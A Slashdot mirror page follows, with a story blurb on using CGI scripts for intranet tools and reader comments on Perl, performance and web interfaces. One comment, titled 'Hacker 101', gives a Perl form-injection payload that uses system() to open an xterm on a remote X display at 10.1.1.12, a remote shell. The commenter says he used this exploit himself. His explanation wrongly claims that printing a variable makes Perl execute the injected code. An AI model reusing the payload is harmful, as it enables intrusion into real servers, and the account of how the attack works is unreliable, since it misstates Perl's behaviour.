Slashdot Mirror
When a CGI Script is the Most Elegant Solution
An anonymous reader writes "Writing local Web applications can be quick, easy, and efficient for solving specific Intranet problems. Learn why a Web browser is sometimes a better interface than a GUI application and why experienced Web developers find themselves struggling to learn a GUI toolkit, and descover that a simple CGI script would serve their needs perfectly well, if not better."
.. are such a sick and twisted bunch. Unfortunately for you, you never learned real programming, so now you think a hyper-text system on speed (that's what a modern web browser is) is the only true platform for developing applications. Next problem is that you jump on each and every new fad as if it's christs second coming.
Desktop in your browser? OS in your browser? Sad and stupid - makes me angry.
I agree, a simple cgi script can serve needs well, but it's really ironic IBM uses as an example, a Perl script... no doubt a clever way to encourage sales of their next bigger, faster server, because if you used Perl CGI scripts in a real-time web application that got any significant amount of traffic, you'd need 100 times the processing power of a comparable script written in C or PHP to perform the same task.
I know Slashdot is running in Perl, and their system is cool, but even with mod_perl, there's a lot more overhead in a perl-based application than other languages that are a lot more suitable for the web.
This is more from a perl programmer (or really any shell scripting language) perspective - if you don't know a scripting language then I agree- VB/Excel is probably easier. Installing a web server is trivial and usually installed already, but maybe not enabled. Writing HTML is practically a non-issue these days - download a WYSIWYG editor and write the page. Yes, there's a learning curve, but creating a simple form is fairly trivial (and if that fails, find something you like that's similar, use "View Page Source" and copy).
I've done exactly this sort of interface before - the form basically got a list of machines and ports, a build, and a release level and kicked off a series of upgrades on those machines. As machines completed you would get Gray/Red/Yellow/Green indicators on the web results page (which just used a simple html update every 30 seconds). Gray meant not complete, Red meant it failed or the monitoring/processing script died on that machine, Yellow meant some oddity occurred but it reported successful (it was compared to a sample file), and Green meant successful. The perl scripts and web pages were really quite simple for all that and certainly didn't take a lot of processing power. For a password protected Intranet app, it worked great.
I'd go one step further about networked apps, however - this is REALLY BAD for a networked app - I'd recommend only using it for an internal app (which is what the author seems to be implying, anyway).
Why? Aside from the individual processes taking up a lot of CPU, because CGI (and perl especially) is notoriously easy to hack using carefully constructed form entries and needs to be parsed carefully (the one time I did this, my parser was longer than my code). Some of the earliest exploits used form hacks to gain root, which is why web servers typically don't run as root outside the parent process anymore (not sure about Windows servers, but if they run in admin mode they would be at risk).
Hacker 101: hacking perl using form entries
This is probably a bit technical if you're not versed in UNIX. The exploit is by no means limited to UNIX, but you need other commands to do what you want on other OSes.
Take a Form entry - you expect to parse something like
John Smith
what the hacker might put in is something like this (which might have errors, example is for the gist):
John Smith\n\";system(\"set DISPLAY=10.1.1.12:0.0; export DISPLAY; xterm &\");
note that I used the "long" form of export - this was intentional because sh doesn't always support the single line export command (export DISPLAY=... - really a ksh feature added to bash which sometimes replaces sh).
another note: spaces and some other chars get translated by the browser but are typically translated back in the perl program and there are some differences between GET and POST methods, but I'll ignore those since they really aren't relevant.
the goal for a hacker is to get the text read into a perl variable like this:
$var="John Smith";system("set DISPLAY=10.1.1.12:0.0;xterm &");
if you then do anything to the data such as
print $var
Perl constructs this as
print "John Smith";system("set DISPLAY=10.1.1.12:0.0;xterm &");
and then interprets it. Since ; means end one command and begin another, you actually get
print "John Smith";
and
system("set DISPLAY=10.1.1.12:0.0;xterm &");
nitpickers will notice there are still a few issues here - xterm might need to be the full path to the xterm app (and you're assuming UNIX or UNIX work-alike) and some sort of a UNIX at the other end with xhost permissions turned on for that domain or machine (or even an xhost + for everyone) on the hacker's server. This is just an example - you could just send spam using sendmail, for instance.
to be quite honest, when I used this exploit (a long time ago), I usually tried to attack the cgi directly on the address line whenever possible (bypassing line length limits from the browser).